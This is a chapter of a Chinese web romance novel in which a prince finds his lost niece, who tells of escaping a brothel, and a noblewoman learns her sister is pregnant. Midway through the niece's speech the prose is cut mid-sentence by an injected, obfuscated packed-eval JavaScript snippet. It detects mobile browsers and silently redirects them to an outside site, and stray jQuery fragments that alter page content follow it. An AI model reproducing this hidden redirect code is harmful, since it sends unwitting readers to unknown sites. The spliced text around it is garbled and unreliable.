82. 第八十二章

作品:《殿下追妻成功了吗

    身后的人穷追不舍,跟宁儿分散后,穆洄只得倚仗着巷子里的木板与身后的几人周旋。


    那群人的确没有抓到他,正当他松了口气时,恍然间听到了领头的男人说话:“不用找了,那丫头已经逮到了,如今正被老二那几个绑着回府了。”


    “可是…这小子就这样放过他了?”


    男人不屑道:“一个只知道躲藏的懦夫,成不了气候,走吧。”


    杂乱的脚步声渐远,穆洄在黑暗里探出头,五指攥紧了衣裳。


    忽然,一人在身后轻拍他的肩。


    他下意识挣脱,几步拉开了距离,抬头时便看到了姜临煜漫不经心地小脸。


    “你怎么来了?”穆洄放下戒备。


    “我若是不来,你准备如何营救宁儿?”姜临煜语气带着浓烈地不信任,“真不知你这考状元的脑子是做什么用的,自己几斤几两不清楚吗?还敢陪着宁儿跑到这里来。”


    “你闭嘴!”穆洄尚存稚嫩的脸上,神色难看极了,先后被那群人和姜临煜一顿羞辱,他此时的心情极为不爽,“定北王殿下怕不是忘了,你已是成了婚有家世的人了,这样喊一个姑娘家的闺名,有失分寸吧。”


    姜临煜被他突然变换的脸色惊的愣了一下,他的指缝在向下滴血,猜测应当是受了伤心情不好,“有失分寸?我这个做叔叔的,还不能喊自己侄女的小名了吗?”


    “什么?”穆洄怔了一瞬,只当是自己听错了,又问了一遍:“你说宁儿是…”


    姜临煜不再和他过多废话,转身朝巷子口走,“别愣着了,小心那伙人再追上来。


    ————


    客栈内,文焰帮床上孱弱的人儿上了药,便动身离开房间,守在了房门口。


    一刻钟后,红木楼梯上传来轻重有序地脚步声,文焰抬头,轻唤一声:“公子。”


    姜临煜抬头,便见到文焰朝紧闭的房门递了个眼神。


    “找到了?”姜临煜喉中忽然有些沙哑,或许是冥冥之中血脉亲情的羁绊,即便是他尚未见到那姑娘究竟长什么样子,却已经在心中确定,那就是他寻找多年无果的宁儿。


    文焰点头,“她受了伤,属下替她上了药,现在还没醒过来,不过已无大碍了。”


    姜临煜盯着房门看了几眼,神情恍惚,过了半晌才开口道:“嗯,你带他去隔壁房间休息吧。”


    “是。”


    “等等。”穆洄还在原地没挪步,“我…我想看看她。”


    “她晕倒了。”文焰重复一遍:“现在需要休息。”


    “可是…”


    “醒了我会叫你的。”


    姜临煜说完这句话便再没回头,轻推开了房门。


    转身,床榻上的女子安静的睡颜落入他的眼中,她的确长大了很多,曾经肉嘟嘟的双颊现在也变得瘦削,娇艳欲滴的红唇微微泛白,眉眼间像极了记忆里温柔的皇嫂。


    姜临煜失神的看了许久,眼眶不自觉地酸涩,终于让他找到了。


    睡梦中的人似乎是陷在了梦魇之中,身子忽然不安的颤抖起来,口中呢喃着一些让人听不清的话。


    姜临煜大步向前,小心翼翼地擦拭着她额头冒出的冷汗,“宁儿,不怕了。”


    肌肤相触的一瞬,姜宁骤然睁眼,映入眼帘的是一张万分熟悉的脸。


    “宁儿。”姜临煜又低声唤道。


    姜宁没说话也未惊慌,睫毛上下跳动几下,目光不停地描绘着眼前人的轮廓,许久才不确定的张口试探一句:“皇…皇叔…”


    ————


    安国公府内,祝景把过脉,收起了帕子,笑道:“如王妃所想的一样,夫人是有孕了。”


    沈澪一脸吃惊,手不自觉地抚上自己的小腹,“姐姐…你是如何看出来的?”


    几日以来,沈澪用膳用的多,白日里也总是睡不醒,总要在榻上躺过半日。今日沈绒过来,她才勉强撑着精神起身,可没一会儿又觉得乏了。


    她虽然懂医术,但这段日子过的稀里糊涂,早忘了有孕这一茬。


    沈绒也算是生养过,一眼就瞧出她的症状不像得病了,相比之下,更像是有了身孕。果不其然,祝景来为她把过脉,便断定了沈澪怀有身孕一时。


    沈绒自是替她欢喜,可也紧跟着有些担忧,女子生孩子就是在鬼门关走一遭,前世宫中多少妃嫔就是在生产时一尸两命。


    不过看着沈澪如此欣喜的模样,她也没舍得将这些话说出口,嘱咐了几句后便以让她好好休息为由,带着祝景回府。


    “祝景,澪儿这胎是不是有什么问题?”出了安国公府,沈绒开门见山道:“即便是怀有身孕,也不会如此嗜睡才是啊。”


    祝景愣了一下,他没想到沈绒一个尚未有孕的女子竟然能看出这其中的端倪,听星璇方才来传自己的意思,世子夫人有孕应当就是沈绒看出来的。


    “是,世子夫人身子孱弱,这是头胎,自然要怀的辛苦些。”


    沈绒多少也猜到了一些,沈澪从前在沈家时吃不饱穿不暖,多年来不知落下了多少病。


    “我知道了,日后,还要辛苦你多来安国公府几趟。我不懂医术,只能将澪儿这一胎拜托给你了。”


    “王妃放心,属下定当竭尽全力。”


    安国公府到定北王府的距离并不远,沈绒没有坐马车,一路走来,看到了许多陌生的服饰和面孔。


    “万寿节在即,各国使臣也已经纷纷抵达淮安,也不知殿下能否及时赶回来。”祝景道。


    此事这正是沈绒忧心之事,姜临煜此次离京并未禀明圣上,万一被有心之人发现,恐怕又要惹出不小的麻烦。


    —————


    姜宁醒了没一会儿又睡了过去,直到第二日正午,才慢慢转醒,拉着姜临煜的衣袖便开始绘声绘色地哭诉。


    “阿娘拼了命把我送了出来,我想去找你,可我不知道你在哪,后面还有丽妃的追兵,我只能躲躲藏藏,没想到被怡红院的那个李妈妈发现了,她把我关了起来,说日后我定能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350782|172643||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为她赚不少银子。”


    “白期就是个金玉其外败絮其中的伪君子,表面看着对他的夫人毕恭毕敬,从不纳妾,那是因为他爹是临城太守,他不能传出不好的名声。”


    “他不纳妾,是因为一旦纳了妾就遮掩不住他无法生育的丑事了。他在外面的女人,我一双手都要数不过来了。他那日看上了我又会弹琴又会写字,便对我动了歪心思。可我太小了,他只能等我长大,让怡红院的人好好教养我。”


    “我早就见识过他是如何欺负其它的姐姐的,我才不会任人欺负,一天夜里趁着守卫睡着了,便找到机会逃了出来。没想到被人发现,还被逼到了悬崖上,我心一横,便跳崖了。”


    听完姜宁的话,姜临煜竟也不知是该心疼还是该庆幸,没想到误打误撞之下,她居然恢复了记忆。


    “皇叔…”姜宁扯着姜临煜的袖口撒娇:“你都不知道我被怡红院的那些人抓走后过的有多惨,我好歹也是堂堂郡主,竟要去学那些淫词艳曲。还好我聪明逃出来了,不然现在你都见不到我了。”


    说着,便要瘪着嘴哭出来了。


    看到她又跟从前一样闹腾起来,姜临煜才放下心来,“行了,没事就好。你先现在这儿休息,等我将事情处理完,我们便动身回淮安。”


    听到又有事情可干,姜宁立马有了精神,“什么事啊?皇叔,你不会是要去替我教训那个白少爷吧?那我也要去。”


    “别闹腾了。”姜临煜指骨轻敲她的额头,沉声道:“你就老老实实在这儿待着,若是再出了事,我可不管你了。”


    “哎呦!”姜宁疼的蜷了蜷身子,苦着一张脸,手指额头上的伤口,“我这儿还有伤呢,你就不能轻点嘛!”


    姜临煜没理她,站起身,“知道疼就好好歇着,我会安排文焰留下看着你和那个穆洄,你若是敢跑出去,我便让…”


    房内一时安静下来,姜宁看着他僵住的背影,刚想开口,又立刻将那句“怎么了”咽回肚子里。


    从前在西洲时,鸡毛蒜皮的小事姜临煜不爱和她计较,每每自己惹得他实在忍无可忍时,他总会搬出阿爹和阿娘来威胁自己。


    而现在,时过境迁,一切都已物是人非。


    姜宁低下头,指尖陷进了柔软的被褥里,轻声回了一句:“我知道了…”


    姜临煜回过神,留下了一句:“好好休息”便三两步迈出了房门。


    文焰穆洄在隔壁房间,穆洄身上的伤倒是不重,只不过是碍于他素日里只知道埋头读书,身子骨弱一些,所以淤青在他冷白的肌肤上显得可怕些。


    姜临煜推门进来,却并未关门,吩咐道:“文焰,看好他们两个。”


    “殿下,你要出去?”


    姜临煜勾着若有似无地笑意,语气凉凉:“账还没算清楚,若是现在就走了,岂不是让人占了大便宜。”


    穆洄回头看了他一眼,不禁打了个冷战,这人是他见过最怪的人,分明一张俊脸总是扬着唇,但始终笑得让人不寒而栗。